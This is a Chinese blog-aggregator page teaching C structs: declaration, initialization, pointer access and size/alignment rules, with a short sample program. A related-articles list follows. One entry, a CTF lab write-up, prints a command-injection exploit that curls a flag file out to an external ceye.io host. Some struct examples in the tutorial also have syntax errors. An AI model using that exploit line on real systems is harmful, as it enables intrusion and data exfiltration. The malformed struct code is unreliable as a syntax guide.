C语言,结构体,结构体大小,

news2025/1/18 9:11:21

      1、结构体:

        用于存储不同数据类型的多个相关变量,从而形成一个具有独立性的组合数据类型。

结构体的声明:

struct 结构体类型名{

      数据类型 成员1;

      数据类型 成员2;

      数据类型 成员3;

………

}//注意此处的分号

声明:创建了一种自定义的数据类型,这种类型叫做<struct 结构体类型名>è数据类型;

      struct student(){

      char name[32];

      int age;

      char sex;

      double score;

}

struct student è 自定义一个数据类型

定义结构变量:

      struct studet  结构体变量名;

      struct studet stu;

初始化:

      struct student stu ={ “zhangsan”,18 ,’M’,88.8};

使用:

      结构体变量名.成员名:--> 数组名[下标]

      stu.age -->18;

赋值:

      给结构体内容赋值时,只能一个一个成员的去赋值,

      但是可以相同类型的结构体之间可以直接赋值。

结构体指针:

      struct student *p;

      使用指针来进行获取数据

      (*p).sex   -->   ’m’      //基本不用

      p->sex    -->   'm’      //使用这个

/*===============================================
*   文件名称:struct_KT.c
*   创 建 者:WM
*   创建日期:2023年08月15日
*   描    述:结构体基础知识
================================================*/
#include <stdio.h>
#include<string.h>
#include <stdlib.h>
typedef struct student
{
    char name[32];
    int age;
    char sex;
    double score;
}stu,*pstu;

int main(int argc, char *argv[])
{
   // stu s1={"zhangsan",18,'m',88.8},s2;
    //s2=s1;
    // strcpy(s2.name,"lisi");
    // s2.age=19;
    // s2.sex='w';
    // s2.score=29.0;
    stu s3;
    scanf("%s",s3.name);
    scanf("%d",&s3.age);
    //scanf("%*c%c",&s3.sex);//方法1、去除脏字字符'\r'回车
    getchar(); //方法2、去除脏字字符'\r'回车,放在输入数据之前
    scanf("%c",&s3.sex);
    
    scanf("%lf",&s3.score);

    //结构体指针
    pstu p=&s3;
    printf("%s,%d,%c,%.2lf\n",s3.name,s3.age,s3.sex,s3.score);
    printf("%c\n",p->sex);

    pstu k=(struct student *)malloc(sizeof(stu));
    strcpy(k->name,"wangwu");
    puts(k->name);
    free(k);
    return 0;
} 

2、结构体大小:

  1. 使用结构体成员中最大的数据类型的长度来对齐。一个成员不会分到多个格子里。
  2. 从上到下开始对齐运算。只会放到自己数据类型大小的倍数的位置上。
  3. 数组相当于写了一堆对应类型的变量。

      

1111

1011

1000

所以为12

1111 1111

1111 1111

1111 1110

1100 0000

1111 1111

所以为40

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/884787.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

观察级水下机器人使用系列之六超短基线(上)

观察级水下机器人使用的超短基线型号是Micro-Ranger2&#xff0c;由换能器MRT、甲板单元&#xff08;ESH&#xff09;、信标&#xff08;Nano)和计算机组成。超短基线主要用于深水&#xff08;大于100m&#xff09;&#xff0c;在浅水环境下&#xff0c;会有多径时延扩展&#…

FreeRTOS qemu mps2-an385 bsp 移植制作 :系统启动篇

相关文章 FreeRTOS qemu mps2-an385 bsp 移植制作 &#xff1a;环境搭建篇 开发环境 Win10 64位 VS Code&#xff0c;ssh 远程连接 ubuntu VMware Workstation Pro 16 Ubuntu 20.04 FreeRTOSv202212.01&#xff08;备注&#xff1a;可以在 github 获取最新版本&#xff0…

亿赛通电子文档安全管理系统任意文件上传漏洞复现

0x01 产品简介 亿赛通电子文档安全管理系统&#xff08;简称&#xff1a;CDG&#xff09;是一款电子文档安全加密软件&#xff0c;该系统利用驱动层透明加密技术&#xff0c;通过对电子文档的加密保护&#xff0c;防止内部员工泄密和外部人员非法窃取企业核心重要数据资产&…

openGauss学习笔记-41 openGauss 高级数据管理-匿名块

文章目录 openGauss学习笔记-41 openGauss 高级数据管理-匿名块41.1 语法41.2 参数说明41.3 示例 openGauss学习笔记-41 openGauss 高级数据管理-匿名块 匿名块&#xff08;Anonymous Block&#xff09;是存储过程的字块之一&#xff0c;没有名称。一般用于不频繁执行的脚本或…

【Unity每日一记】方位辨别—向量的叉乘点乘结合

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;元宇宙-秩沅 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 秩沅 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a;uni…

优化 Linux 系统性能:探索 tuned 守护进程的调优配置文件

tuned守护进程调优系统调优配置文件从命令行配置系统调优安装、启用和启动tuned软件包tuned-adm 感谢 &#x1f496; hello大家好&#x1f60a; tuned守护进程调优系统 系统管理员可以基于多种用例工作负载来调整各种设备设置&#xff0c;以此优化系统性能。tuned 守护进程会利…

Python学习笔记_基础篇(七)_常用模块

模块&#xff0c;用一砣代码实现了某个功能的代码集合。 类似于函数式编程和面向过程编程&#xff0c;函数式编程则完成一个功能&#xff0c;其他代码用来调用即可&#xff0c;提供了代码的重用性和代码间的耦合。而对于一个复杂的功能来&#xff0c;可能需要多个函数才能完成…

什么是LAXCUS分布式操作系统?

相较Linux、Windows&#xff0c;Laxcus是同时在多台计算机上运行的操作系统&#xff0c;处理大规模、高并发、高性能业务&#xff0c;其特点是资源共享和任务并行&#xff0c;并实现【数存算管】超融合一体化。环境中的资源&#xff1a;CPU、GPU、内存、硬盘、网络&#xff0c;…

Python学习笔记_基础篇(八)_正则表达式

1. 正则表达式基础 1.1. 简单介绍 正则表达式并不是Python的一部分。正则表达式是用于处理字符串的强大工具&#xff0c;拥有自己独特的语法以及一个独立的处理引擎&#xff0c;效率上可能不如str自带的方法&#xff0c;但功能十分强大。得益于这一点&#xff0c;在提供了正则…

【Alibaba中间件技术系列】「RocketMQ技术专题」帮你梳理RocketMQ相关的消费问题以及原理分析总结

消息重复消费的问题 消息重复消费是各个MQ都会发生的常见问题之一&#xff0c;在一些比较敏感的场景下&#xff0c;重复消费会造成比较严重的后果&#xff0c;比如重复扣款等。 消息重复消费场景及解决办法 在什么情况下会发生RocketMQ的消息重复消费呢&#xff1f; 生产者重…

运动健身耳机什么的好、适合运动的耳机推荐

保持运动健身的习惯不仅成为一种生活态度&#xff0c;也逐渐演变为一种时尚潮流。随之而来的是越来越多的周边设备&#xff0c;旨在提高健身爱好者的运动效率。其中&#xff0c;运动耳机无疑是其中之一&#xff0c;不论是室内锻炼还是室外运动&#xff0c;一款舒适的运动耳机能…

【LeetCode75】第三十题 奇偶链表

目录 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 代码&#xff1a; 题目&#xff1a; 示例&#xff1a; 分析&#xff1a; 题目给我们一个链表&#xff0c;让我们把奇索引和偶索引的节点区分开来 &#xff0c;参考示例给出的图我们应该就能很清晰地知道题目是什么…

第六章Tomcat部署以及优化

Tomcat&#xff1a; 开放源代码web应用服务器。&#xff08;基于Java代码开发的&#xff09;&#xff0c;主要是处理动态请求和基于java代码进行页面开发。可以在html当中写入Java代码&#xff0c;Tomcat可以解析html页面当中的Java&#xff0c;执行动态请求&#xff0c;动态页…

春秋云镜 CVE-2021-21315

春秋云镜 CVE-2021-21315 systeminformation存在命令注入 靶标介绍 systeminformation是一个简单的查询系统和OS信息包。 启动场景 漏洞利用 exp /api/osinfo?param[]$(curl%20-d%20/flag%20xxx.ceye.io)登录ceye.io平台&#xff0c;curl请求 http://eci-2zed871sr7xrdjb…

Memory Analyzer(MAT)分析内存

关于作者&#xff1a;CSDN内容合伙人、技术专家&#xff0c; 从零开始做日活千万级APP。 专注于分享各领域原创系列文章 &#xff0c;擅长java后端、移动开发、人工智能等&#xff0c;希望大家多多支持。 目录 一、导读二、概览三、 使用3.1 hprof 文件准备3.1.1 Android sutdi…

word之插入尾注+快速回到刚才编辑的地方

1-插入尾注 在编辑文档时&#xff0c;经常需要对一段话插入一段描述或者附件链接等&#xff0c;使用脚注经常因占用篇幅较大导致文档页面内容杂乱&#xff0c;这事可以使用快捷键 ControlaltD 即可在 整个行文的末尾插入尾注&#xff0c;这样文章整体干净整洁&#xff0c;需…

驾考笔记 _ 科目3 - 坂田线路图

深圳坂田线路图 1#线 >2#线 >3#线 > 1#线 > 2#线 > 3#线 > 简图&#xff1a;

Python random模块用法整理

随机数在计算机科学领域扮演着重要的角色&#xff0c;用于模拟真实世界的随机性、数据生成、密码学等多个领域。Python 中的 random 模块提供了丰富的随机数生成功能&#xff0c;本文整理了 random 模块的使用。 文章目录 Python random 模块注意事项Python random 模块的内置…

koa 使用 Mongoose 查询数据

Mongosee 操作符koa 使用 Mongoose 进行 翻页查询koa 使用 Mongoose 进行 多条件查询 mongosee 操作符 在使用 Koa 和 Mongoose 进行数据库查询时&#xff0c;你可以使用以下常用的操作符来构建查询条件&#xff1a; $eq&#xff1a;等于 示例&#xff1a;{ field: { $eq: valu…